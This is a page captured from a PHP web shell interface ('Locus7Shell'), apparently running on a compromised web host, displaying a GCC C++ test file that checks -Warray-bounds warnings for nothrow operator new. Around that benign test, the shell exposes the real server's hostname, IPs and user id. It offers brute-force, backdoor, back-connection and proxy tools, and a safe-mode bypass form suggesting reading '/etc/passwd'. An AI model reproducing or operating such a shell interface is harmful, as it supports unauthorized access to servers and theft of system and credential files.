Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Warray-bounds-11.C (4.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR c++/97201 - ICE in -Warray-bounds writing to result of operator new(0)
   Verify that out-of-bounds accesses to memory returned by nothrow operator
   new() are diagnosed.
   { dg-do compile }
   { dg-options "-O2 -Wall -Warray-bounds -ftrack-macro-expansion=0" } */

#if 0
// Avoid including <new> to make cross-compiler testing easy.
// #include <new>
#else
namespace std {

typedef __SIZE_TYPE__ size_t;
struct nothrow_t { };
extern const nothrow_t nothrow;

}

void* operator new (std::size_t, const std::nothrow_t &) throw ()
  __attribute__  ((__alloc_size__ (1), __malloc__));
void* operator new[] (std::size_t, const std::nothrow_t &) throw ()
    __attribute__  ((__alloc_size__ (1), __malloc__));

#endif

typedef __INT32_TYPE__ int32_t;

void sink (void*);

#define OP_NEW(n)  operator new (n, std::nothrow)
#define T(T, n, i) do {                \
    T *p = (T*) OP_NEW (n);            \
    p[i] = 0;                    \
    sink (p);                    \
  } while (0)

void warn_op_new ()
{
  T (int32_t, 0, 0);          // { dg-warning "array subscript 0 is outside array bounds of 'int32_t \\\[0]'" }
                              // { dg-message "object of size \\d allocated by '\[^\n\r]*operator new\[^\n\r]*'" "note" { target *-*-* } .-1 }
  T (int32_t, 1, 0);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[0]' is partly outside array bounds of 'unsigned char \\\[1]'" }
  T (int32_t, 2, 0);         //  { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[0]' is partly outside array bounds of 'unsigned char \\\[2]'" }
  T (int32_t, 3, 0);         // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[0]' is partly outside array bounds of 'unsigned char \\\[3]'" }

  T (int32_t, 4, 0);

  T (int32_t, 0, 1);          // { dg-warning "array subscript 1 is outside array bounds of 'int32_t \\\[0]'" }
  T (int32_t, 1, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 2, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 3, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 4, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 5, 1);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[1]' is partly outside array bounds of 'unsigned char \\\[5]" }
  T (int32_t, 6, 1);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[1]' is partly outside array bounds of 'unsigned char \\\[6]" }
  T (int32_t, 7, 1);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[1]' is partly outside array bounds of 'unsigned char \\\[7]" }

  T (int32_t, 8, 1);
}


void warn_op_array_new ()
{
#undef OP_NEW
#define OP_NEW(n)  operator new[] (n, std::nothrow)

  T (int32_t, 0, 0);          // { dg-warning "array subscript 0 is outside array bounds of 'int32_t \\\[0]'" }
                              // { dg-message "object of size \\d allocated by '\[^\n\r]*operator new\[^\n\r]*'" "note" { target *-*-* } .-1 }
  T (int32_t, 1, 0);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[0]' is partly outside array bounds of 'unsigned char \\\[1]'" }
  T (int32_t, 2, 0);         //  { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[0]' is partly outside array bounds of 'unsigned char \\\[2]'" }
  T (int32_t, 3, 0);         // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[0]' is partly outside array bounds of 'unsigned char \\\[3]'" }

  T (int32_t, 4, 0);

  T (int32_t, 0, 1);          // { dg-warning "array subscript 1 is outside array bounds of 'int32_t \\\[0]'" }
  T (int32_t, 1, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 2, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 3, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 4, 1);          // { dg-warning "array subscript 1 is outside array bounds " }
  T (int32_t, 5, 1);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[1]' is partly outside array bounds of 'unsigned char \\\[5]" }
  T (int32_t, 6, 1);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[1]' is partly outside array bounds of 'unsigned char \\\[6]" }
  T (int32_t, 7, 1);          // { dg-warning "array subscript 'int32_t {aka (long )?int}\\\[1]' is partly outside array bounds of 'unsigned char \\\[7]" }

  T (int32_t, 8, 1);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0157 ]--